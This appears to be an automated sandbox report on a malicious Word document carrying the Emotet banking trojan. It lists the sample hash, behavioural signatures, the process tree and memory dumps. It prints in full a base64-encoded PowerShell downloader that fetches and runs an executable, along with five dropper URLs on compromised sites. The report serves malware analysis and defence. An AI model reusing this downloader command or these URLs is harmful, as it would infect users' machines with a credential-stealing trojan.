Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    27s
  • max time network
    24s
  • resource
    win7v191014
  • submitted
    04-02-2020 21:55

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ab438367b318279539c2a0063535694b1f6484dc38869b282cd1c8e06d247abd.doc

  • Sample

    200204-3ywhsqkqn6

  • SHA256

    ab438367b318279539c2a0063535694b1f6484dc38869b282cd1c8e06d247abd

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://medical.hsh-bh.com/wp-admin/4xmE1404/
exe.dropper

https://elifehotel.com/cgi-bin/hzdXtyh/
exe.dropper

http://ceylongems.konektholdings.com/test/f01D/
exe.dropper

https://bankingdb.com/blog/eA/
exe.dropper

http://modahub.site/wp-admin/Ccq569913/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Modifies registry class 280 IoCs
  • Process spawned unexpected child process 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ab438367b318279539c2a0063535694b1f6484dc38869b282cd1c8e06d247abd.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:860
  • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
    PoWERsheLL -e JABJAHMAbgBkAGcAYgB6AHQAPQAnAFcAaQBmAGIAaQByAHcAYgBjAHEAJwA7ACQARQBjAHcAYgB2AGYAawBvAGQAdwBvACAAPQAgACcAMQAxADcAJwA7ACQASQB4AGQAcQBpAHYAZQBoAHYAPQAnAFcAagBiAGMAcAB2AG4AdQBqAHIAYQB0AHEAJwA7ACQAUwBrAGgAZABqAGQAeQBlAGIAcABmAHYAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHcAYgB2AGYAawBvAGQAdwBvACsAJwAuAGUAeABlACcAOwAkAFcAZwB2AG0AdAB4AGoAawA9ACcARABrAHEAeAByAGUAYQBvAGgAJwA7ACQAWgBsAHUAdgBnAHQAbgBuAHIAbAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBjAEwASQBFAG4AVAA7ACQAQgBmAHgAcgBkAGQAcABmAGwAZABmAGsAPQAnAGgAdAB0AHAAOgAvAC8AbQBlAGQAaQBjAGEAbAAuAGgAcwBoAC0AYgBoAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA0AHgAbQBFADEANAAwADQALwAqAGgAdAB0AHAAcwA6AC8ALwBlAGwAaQBmAGUAaABvAHQAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaAB6AGQAWAB0AHkAaAAvACoAaAB0AHQAcAA6AC8ALwBjAGUAeQBsAG8AbgBnAGUAbQBzAC4AawBvAG4AZQBrAHQAaABvAGwAZABpAG4AZwBzAC4AYwBvAG0ALwB0AGUAcwB0AC8AZgAwADEARAAvACoAaAB0AHQAcABzADoALwAvAGIAYQBuAGsAaQBuAGcAZABiAC4AYwBvAG0ALwBiAGwAbwBnAC8AZQBBAC8AKgBoAHQAdABwADoALwAvAG0AbwBkAGEAaAB1AGIALgBzAGkAdABlAC8AdwBwAC0AYQBkAG0AaQBuAC8AQwBjAHEANQA2ADkAOQAxADMALwAnAC4AIgBzAHAATABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAdQBsAGgAZABpAHAAcQBoAGQAbgBsAGcAPQAnAEwAagB6AGEAbQB5AHYAdwBtAGsAdwB3AHMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFgAeQBkAHEAZABrAGUAeQAgAGkAbgAgACQAQgBmAHgAcgBkAGQAcABmAGwAZABmAGsAKQB7AHQAcgB5AHsAJABaAGwAdQB2AGcAdABuAG4AcgBsAC4AIgBEAG8AVwBuAGwAYABvAGAAQQBgAGQARgBJAGwAZQAiACgAJABYAHkAZABxAGQAawBlAHkALAAgACQAUwBrAGgAZABqAGQAeQBlAGIAcABmAHYAdwApADsAJABFAGkAegBiAGgAbQBqAGUAcQBwAHUAdQB5AD0AJwBZAGsAegB0AHMAcgBwAGgAcwBhAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABTAGsAaABkAGoAZAB5AGUAYgBwAGYAdgB3ACkALgAiAEwAYABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADgAMAA3ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAcgBgAEUAYQB0AGUAIgAoACQAUwBrAGgAZABqAGQAeQBlAGIAcABmAHYAdwApADsAJABHAG0AeABkAGgAegBlAGwAZgByAGwAYgBlAD0AJwBTAGUAeAB1AHcAbABtAHcAeQB0ACcAOwBiAHIAZQBhAGsAOwAkAEIAaABhAG0AcABrAGgAagBjAHgAcQA9ACcATABtAGUAaABpAHIAbgBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAdwBkAGQAbAB1AHAAeQA9ACcASwBkAGUAZQBlAHcAcgB4AHoAaQB2AG4AZwAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:2024
  • C:\Users\Admin\117.exe
    C:\Users\Admin\117.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious behavior: EmotetMutantsSpam
    PID:1516

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/860-0-0x00000000003BA000-0x00000000003C0000-memory.dmp

    Filesize

    24KB

    Download

  • memory/860-2-0x0000000007AA0000-0x0000000007AA4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/860-3-0x00000000071B0000-0x00000000073B0000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/860-4-0x0000000008BDD000-0x0000000008BE1000-memory.dmp

    Filesize

    16KB

    Download

  • memory/860-5-0x0000000008BE1000-0x0000000008BE5000-memory.dmp

    Filesize

    16KB

    Download

  • memory/860-6-0x0000000002230000-0x0000000002234000-memory.dmp

    Filesize

    16KB

    Download

  • memory/860-7-0x0000000002400000-0x0000000002404000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1516-9-0x00000000003F0000-0x00000000003FC000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1516-10-0x0000000000400000-0x0000000000466000-memory.dmp

    Filesize

    408KB

    Download